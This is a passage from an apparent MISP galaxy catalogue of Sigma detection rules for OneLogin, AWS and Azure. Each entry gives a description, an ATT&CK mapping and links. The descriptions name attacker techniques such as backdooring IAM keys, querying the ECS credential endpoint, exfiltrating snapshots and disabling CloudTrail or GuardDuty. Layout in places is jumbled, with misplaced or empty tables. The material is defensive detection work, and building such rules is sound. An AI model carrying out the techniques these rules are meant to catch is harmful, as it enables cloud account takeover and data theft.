<td><a href="https://developers.onelogin.com/api-docs/1/events/event-resource">https://developers.onelogin.com/api-docs/1/events/event-resource</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_assumed_another_user.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_assumed_another_user.yml</a></td>
</tr>
</tbody>
</table>

**OneLogin User Account Locked**

Detects when an user account is locked or suspended.

The tag is: `misp-galaxy:sigma-rules="OneLogin User Account Locked"`

Table 10551. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://developers.onelogin.com/api-docs/1/events/event-resource">https://developers.onelogin.com/api-docs/1/events/event-resource</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_user_account_locked.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_user_account_locked.yml</a></td>
</tr>
</tbody>
</table>

**AWS S3 Data Management Tampering**

Detects when a user tampers with S3 data management in Amazon Web Services.

The tag is: `misp-galaxy:sigma-rules="AWS S3 Data Management Tampering"`

View relationships graph

AWS S3 Data Management Tampering has relationships with:
### AWS EC2 Disable EBS Encryption

Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region. Disabling default encryption does not change the encryption status of your existing volumes.

The tag is: `misp-galaxy:sigma-rules="AWS EC2 Disable EBS Encryption"`

#### View relationships graph

AWS EC2 Disable EBS Encryption has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"` with `estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565"` with `estimative-language:likelihood-probability="almost-certain"

### AWS IAM Backdoor Users Keys

Detects AWS API key creation for a user by another user. Backdoored users can be used to obtain persistence in the AWS environment. Also with this alert, you can detect a flow of AWS keys in your org.

---

Table 10552. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html">https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html</a></td>
</tr>
<tr>
<td><a href="https://docs.aws.amazon.com/AmazonS3/latest/API/API_RestoreObject.html">https://docs.aws.amazon.com/AmazonS3/latest/API/API_RestoreObject.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_s3_data_management_tampering.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_s3_data_management_tampering.yml</a></td>
</tr>
</tbody>
</table>

Table 10553. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_ec2_disable_encryption.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_ec2_disable_encryption.yml</a></td>
</tr>
</tbody>
</table>
The tag is: `misp-galaxy:sigma-rules="AWS IAM Backdoor Users Keys"`

View relationships graph

AWS IAM Backdoor Users Keys has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"` with estimative-language:likelihood-probability="almost-certain"

Table 10554. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam/backdoor_users_keys/main.py" alt="GitHub" /> <img src="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_iam_backdoor_users_keys.yml" alt="GitHub" /></td>
</tr>
</tbody>
</table>

AWS SecurityHub Findings Evasion

Detects the modification of the findings on SecurityHub.

The tag is: `misp-galaxy:sigma-rules="AWS SecurityHub Findings Evasion"`

View relationships graph

AWS SecurityHub Findings Evasion has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562"` with estimative-language:likelihood-probability="almost-certain"

Table 10555. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="https://docs.aws.amazon.com/cli/latest/reference/securityhub/" alt="AWS Documentation" /> <img src="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_securityhub_findings_evasion.yml" alt="GitHub" /></td>
</tr>
</tbody>
</table>

SES Identity Has Been Deleted

Detects an instance of an SES identity being deleted via the "DeleteIdentity" event. This may be an indicator of an adversary removing the account that carried out suspicious or malicious activities.

The tag is: `misp-galaxy:sigma-rules="SES Identity Has Been Deleted"`

View relationships graph
SES Identity Has Been Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 10556. Table References

Links

https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/  
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_delete_identity.yml

AWS Snapshot Backup Exfiltration

Detects the modification of an EC2 snapshot’s permissions to enable access from another account.

The tag is: misp-galaxy:sigma-rules="AWS Snapshot Backup Exfiltration"

View relationships graph

AWS Snapshot Backup Exfiltration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"

Table 10557. Table References

Links

https://www.justice.gov/file/1080281/download  
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_snapshot_backup_exfiltration.yml

AWS EFS Fileshare Mount Modified or Deleted

Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.

The tag is: misp-galaxy:sigma-rules="AWS EFS Fileshare Mount Modified or Deleted"

View relationships graph

AWS EFS Fileshare Mount Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 10558. Table References

Links
AWS Route 53 Domain Transferred to Another Account

Detects when a request has been made to transfer a Route 53 domain to another AWS account.

The tag is: `misp-galaxy:sigma-rules="AWS Route 53 Domain Transferred to Another Account"`

AWS Route 53 Domain Transferred to Another Account has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"` with estimative-language:likelihood-probability="almost-certain"

Table 10559. Table References

Links

- [https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route53_domain_transferred_to_another_account.toml](https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route53_domain_transferred_to_another_account.toml)
- [https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_route_53_domain_transferred_to_another_account.yml](https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_route_53_domain_transferred_to_another_account.yml)

AWS STS AssumeRole Misuse

Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.

The tag is: `misp-galaxy:sigma-rules="AWS STS AssumeRole Misuse"`

AWS STS AssumeRole Misuse has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550"` with estimative-language:likelihood-probability="almost-certain"

Table 10560. Table References

Links

- [https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html)
AWS RDS Master Password Change

Detects the change of database master password. It may be a part of data exfiltration.

The tag is: `misp-galaxy:sigma-rules="AWS RDS Master Password Change"`

View relationships graph

AWS RDS Master Password Change has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020"` with estimative-language:likelihood-probability="almost-certain"

Table 10561. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AWS ElastiCache Security Group Modified or Deleted

Identifies when an ElastiCache security group has been modified or deleted.

The tag is: `misp-galaxy:sigma-rules="AWS ElastiCache Security Group Modified or Deleted"`

View relationships graph

AWS ElastiCache Security Group Modified or Deleted has relationships with:


Table 10562. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt;a href=&quot;https://github.com/elastic/detection-rules/blob/7d5efd68603f42be5e125b5a6a503b2ef3ac0f4e/rules/integrations/aws/impact_elasticache_security_group_modified_or_deleted.toml&quot;&gt;<a href="https://github.com/elastic/detection-rules/blob/7d5efd68603f42be5e125b5a6a503b2ef3ac0f4e/rules/integrations/aws/impact_elasticache_security_group_modified_or_deleted.toml">https://github.com/elastic/detection-rules/blob/7d5efd68603f42be5e125b5a6a503b2ef3ac0f4e/rules/integrations/aws/impact_elasticache_security_group_modified_or_deleted.toml</a>&lt;/a&gt;</td>
</tr>
</tbody>
</table>
AWS Suspicious SAML Activity

Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.

The tag is: `misp-galaxy: sigma-rules="AWS Suspicious SAML Activity"`

View relationships graph

AWS Suspicious SAML Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550" with estimative-language:likelihood-probability="almost-certain"

Table 10563. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html">https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html</a></td>
</tr>
<tr>
<td><a href="https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithSAML.html">https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithSAML.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_susp_saml_activity.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_susp_saml_activity.yml</a></td>
</tr>
</tbody>
</table>

AWS EKS Cluster Created or Deleted

Identifies when an EKS cluster is created or deleted.

The tag is: `misp-galaxy: sigma-rules="AWS EKS Cluster Created or Deleted"`

View relationships graph

AWS EKS Cluster Created or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 10564. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>6598</td>
</tr>
</tbody>
</table>
**Restore Public AWS RDS Instance**

Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration.

The tag is: *misp-galaxy:sigma-rules="Restore Public AWS RDS Instance"*

**View relationships graph**

Restore Public AWS RDS Instance has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020"* with estimative-language:likelihood-probability="almost-certain"

*Table 10565. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**AWS IAM S3Browser Templated S3 Bucket Policy Creation**

Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of "<YOUR-BUCKET-NAME>".

The tag is: *misp-galaxy:sigma-rules="AWS IAM S3Browser Templated S3 Bucket Policy Creation"*

**View relationships graph**

AWS IAM S3Browser Templated S3 Bucket Policy Creation has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Cloud API - T1059.009"* with estimative-language:likelihood-probability="almost-certain"

- related-to: *misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"* with estimative-language:likelihood-probability="almost-certain"

*Table 10566. Table References*
AWS CloudTrail Important Change

Detects disabling, deleting and updating of a Trail

The tag is: misp-galaxy:sigma-rules="AWS CloudTrail Important Change"

View relationships graph

AWS CloudTrail Important Change has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 10567. Table References

AWS EC2 Startup Shell Script Change

Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.

The tag is: misp-galaxy:sigma-rules="AWS EC2 Startup Shell Script Change"

View relationships graph

AWS EC2 Startup Shell Script Change has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

Table 10568. Table References
**Potential Bucket Enumeration on AWS**

Looks for potential enumeration of AWS buckets via ListBuckets.

The tag is: `misp-galaxy:sigma-rules="Potential Bucket Enumeration on AWS"`

View relationships graph

Potential Bucket Enumeration on AWS has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Infrastructure Discovery - T1580"` with estimative-language:likelihood-probability="almost-certain"

**AWS User Login Profile Was Modified**

An attacker with the `iam:UpdateLoginProfile` permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup. With this alert, it is used to detect anyone is changing password on behalf of other users.

The tag is: `misp-galaxy:sigma-rules="AWS User Login Profile Was Modified"`

View relationships graph

AWS User Login Profile Was Modified has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"` with estimative-language:likelihood-probability="almost-certain"
AWS EC2 VM Export Failure

An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.

The tag is: `misp-galaxy:sigma-rules="AWS EC2 VM Export Failure"`

View relationships graph

AWS EC2 VM Export Failure has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with `estimative-language:likelihood-probability="almost-certain"`
- related-to: `misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537"` with `estimative-language:likelihood-probability="almost-certain"`

Table 10571. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AWS Identity Center Identity Provider Change

Detects a change in the AWS Identity Center (FKA AWS SSO) identity provider. A change in identity provider allows an attacker to establish persistent access or escalate privileges via user impersonation.

The tag is: `misp-galaxy:sigma-rules="AWS Identity Center Identity Provider Change"`

View relationships graph

AWS Identity Center Identity Provider Change has relationships with:


Table 10572. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsiamidentitycentersuccessortoawssinglesign-on.html">https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsiamidentitycentersuccessortoawssinglesign-on.html</a></td>
</tr>
</tbody>
</table>
AWS STS GetSessionToken Misuse

Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.

The tag is: misp-galaxy:sigma-rules="AWS STS GetSessionToken Misuse"

View relationships graph

AWS STS GetSessionToken Misuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550" with estimative-language:likelihood-probability="almost-certain"

Table 10573. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html">https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/elastic/detection-rules/pull/1213">https://github.com/elastic/detection-rules/pull/1213</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_sts_getsessiontoken_misuse.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_sts_getsessiontoken_misuse.yml</a></td>
</tr>
</tbody>
</table>

AWS ECS Task Definition That Queries The Credential Endpoint

Detects when an Elastic Container Service (ECS) Task Definition includes a command to query the credential endpoint. This can indicate a potential adversary adding a backdoor to establish persistence or escalate privileges.

The tag is: misp-galaxy:sigma-rules="AWS ECS Task Definition That Queries The Credential Endpoint"

View relationships graph

AWS ECS Task Definition That Queries The Credential Endpoint has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Implant Internal Image - T1525" with estimative-language:likelihood-probability="almost-certain"
AWS IAM S3Browser LoginProfile Creation

Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile.

The tag is: misp-galaxy: sigma-rules="AWS IAM S3Browser LoginProfile Creation"

View relationships graph

AWS IAM S3Browser LoginProfile Creation has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Cloud API - T1059.009" with estimative-language: likelihood-probability="almost-certain"
- related-to: misp-galaxy: mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language: likelihood-probability="almost-certain"

AWS GuardDuty Important Change

Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.

The tag is: misp-galaxy: sigma-rules="AWS GuardDuty Important Change"

View relationships graph

AWS GuardDuty Important Change has relationships with:
**AWS Attached Malicious Lambda Layer**

Detects when an user attached a Lambda layer to an existing function to override a library that is in use by the function, where their malicious code could utilize the function’s IAM role for AWS API calls. This would give an adversary access to the privileges associated with the Lambda service role that is attached to that function.

The tag is: `misp-galaxy:.sigma-rules="AWS Attached Malicious Lambda Layer"`

**AWS Route 53 Domain Transfer Lock Disabled**

Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.

The tag is: `misp-galaxy:.sigma-rules="AWS Route 53 Domain Transfer Lock Disabled"`

**View relationships graph**

AWS Route 53 Domain Transfer Lock Disabled has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"` with `estimative-language:likelihood-probability="almost-certain"`
AWS EFS Fileshare Modified or Deleted

Detects when a EFS Fileshare is modified or deleted. You can’t delete a file system that is in use. If the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.

The tag is: `misp-galaxy:sigma-rules="AWS EFS Fileshare Modified or Deleted"`

Table 10579. Table References

Links

- https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_efs_fileshare_modified_or_deleted.yml

AWS Glue Development Endpoint Activity

Detects possible suspicious glue development endpoint activity.

The tag is: `misp-galaxy:sigma-rules="AWS Glue Development Endpoint Activity"`

Table 10580. Table References

Links

- https://docs.aws.amazon.com/glue/latest/webapi/API_CreateDevEndpoint.html
- https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_passed_role_to_glue_development_endpoint.yml

AWS Root Credentials

Detects AWS root account usage

The tag is: `misp-galaxy:sigma-rules="AWS Root Credentials"`

View relationships graph

AWS Root Credentials has relationships with:
- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 10581. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_root_account_usage.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_root_account_usage.yml</a></td>
</tr>
</tbody>
</table>

**AWS IAM S3Browser User or AccessKey Creation**

Detects S3 Browser utility creating IAM User or AccessKey.

The tag is: **misp-galaxy:sigma-rules**="AWS IAM S3Browser User or AccessKey Creation"

View relationships graph

AWS IAM S3Browser User or AccessKey Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud API - T1059.009" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 10582. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor">https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_iam_s3browser_user_or_accesskey_creation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_iam_s3browser_user_or_accesskey_creation.yml</a></td>
</tr>
</tbody>
</table>

**AWS Config Disabling Channel/Recorder**

Detects AWS Config Service disabling

The tag is: **misp-galaxy:sigma-rules**="AWS Config Disabling Channel/Recorder"

View relationships graph

AWS Config Disabling Channel/Recorder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
AWS ElastiCache Security Group Created

Detects when an ElastiCache security group has been created.

The tag is: misp-galaxy:sigma-rules="AWS ElastiCache Security Group Created"

View relationships graph

AWS ElastiCache Security Group Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"

Table 10584. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml">https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_elasticache_security_group_created.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_elasticache_security_group_created.yml</a></td>
</tr>
</tbody>
</table>

AWS S3 Bucket Versioning Disable

Detects when S3 bucket versioning is disabled. Threat actors use this technique during AWS ransomware incidents prior to deleting S3 objects.

The tag is: misp-galaxy:sigma-rules="AWS S3 Bucket Versioning Disable"

View relationships graph

AWS S3 Bucket Versioning Disable has relationships with:


Table 10585. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://invictus-ir.medium.com/ransomware-in-the-cloud-7f14805bbe82">https://invictus-ir.medium.com/ransomware-in-the-cloud-7f14805bbe82</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_disable_bucket_versioning.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_disable_bucket_versioning.yml</a></td>
</tr>
</tbody>
</table>
**Too Many Global Admins**

Identifies an event where there are too many accounts assigned the Global Administrator role.

The tag is: `misp-galaxy:sigma-rules="Too Many Global Admins"`

*View relationships graph*

Too Many Global Admins has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with estimative-language:likelihood-probability="almost-certain"

*Table 10586. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Roles Are Not Being Used**

Identifies when a user has been assigned a privilege role and are not using that role.

The tag is: `misp-galaxy:sigma-rules="Roles Are Not Being Used"`

*View relationships graph*

Roles Are Not Being Used has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with estimative-language:likelihood-probability="almost-certain"

*Table 10587. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_role_not_used.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_role_not_used.yml</a></td>
</tr>
</tbody>
</table>

**Roles Activated Too Frequently**

Identifies when the same privilege role has multiple activations by the same user.

The tag is: `misp-galaxy:sigma-rules="Roles Activated Too Frequently"`
Roles Activated Too Frequently has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Invalid PIM License

Identifies when an organization doesn't have the proper license for PIM and is out of compliance.

The tag is: misp-galaxy:sigma-rules="Invalid PIM License"

Roles Activation Doesn’t Require MFA

Identifies when a privilege role can be activated without performing mfa.

The tag is: misp-galaxy:sigma-rules="Roles Activation Doesn't Require MFA"
**Roles Assigned Outside PIM**

Identifies when a privilege role assignment has taken place outside of PIM and may indicate an attack.

The tag is: `misp-galaxy:sigma-rules="Roles Assigned Outside PIM"`

**Stale Accounts In A Privileged Role**

Identifies when an account hasn’t signed in during the past n number of days.

The tag is: `misp-galaxy:sigma-rules="Stale Accounts In A Privileged Role"`
Use of Legacy Authentication Protocols

Alert on when legacy authentication has been used on an account

The tag is: `misp-galaxy:sigma-rules="Use of Legacy Authentication Protocols"`

View relationships graph

Use of Legacy Authentication Protocols has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Brute Force - T1110"` with estimative-language:likelihood-probability="almost-certain"

Table 10593. Table References

Links

- https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts
- https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_legacy_authentication_protocols.yml

Sign-in Failure Due to Conditional Access Requirements Not Met

Define a baseline threshold for failed sign-ins due to Conditional Access failures

The tag is: `misp-galaxy:sigma-rules="Sign-in Failure Due to Conditional Access Requirements Not Met"`

View relationships graph

Sign-in Failure Due to Conditional Access Requirements Not Met has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Brute Force - T1110"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10594. Table References

Links
Applications That Are Using ROPC Authentication Flow

Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly. The application then uses those credentials to authenticate the user against the identity provider.

The tag is: `misp-galaxy:sigma-rules="Applications That Are Using ROPC Authentication Flow"`

User Access Blocked by Azure Conditional Access

Detect access has been blocked by Conditional Access policies. The access policy does not allow token issuance which might be sights of unauthorized login to valid accounts.

The tag is: `misp-galaxy:sigma-rules="User Access Blocked by Azure Conditional Access"`
Increased Failed Authentications Of Any Type

Detects when sign-ins increased by 10% or greater.

The tag is: `misp-galaxy:sigma-rules="Increased Failed Authentications Of Any Type"`

View relationships graph

Increased Failed Authentications Of Any Type has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with estimative-language:likelihood-probability="almost-certain"

Table 10597. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-failed-unusual-sign-ins">https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-failed-unusual-sign-ins</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_auth_failure_increase.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_ad_auth_failure_increase.yml</a></td>
</tr>
</tbody>
</table>

Users Authenticating To Other Azure AD Tenants

Detect when users in your Azure AD tenant are authenticating to other Azure AD Tenants.

The tag is: `misp-galaxy:sigma-rules="Users Authenticating To Other Azure AD Tenants"`

View relationships graph

Users Authenticating To Other Azure AD Tenants has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10598. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins">https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_users_authorizing_to_other_azure_ad_tenants.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/signin_logs/azure_users_authorizing_to_other_azure_ad_tenants.yml</a></td>
</tr>
</tbody>
</table>
Authentications To Important Apps Using Single Factor Authentication

Detect when authentications to important application(s) only required single-factor authentication

The tag is: misp-galaxy:sigma-rules="Authentications To Important Apps Using Single Factor Authentication"

View relationships graph

Authentications To Important Apps Using Single Factor Authentication has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 10599. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
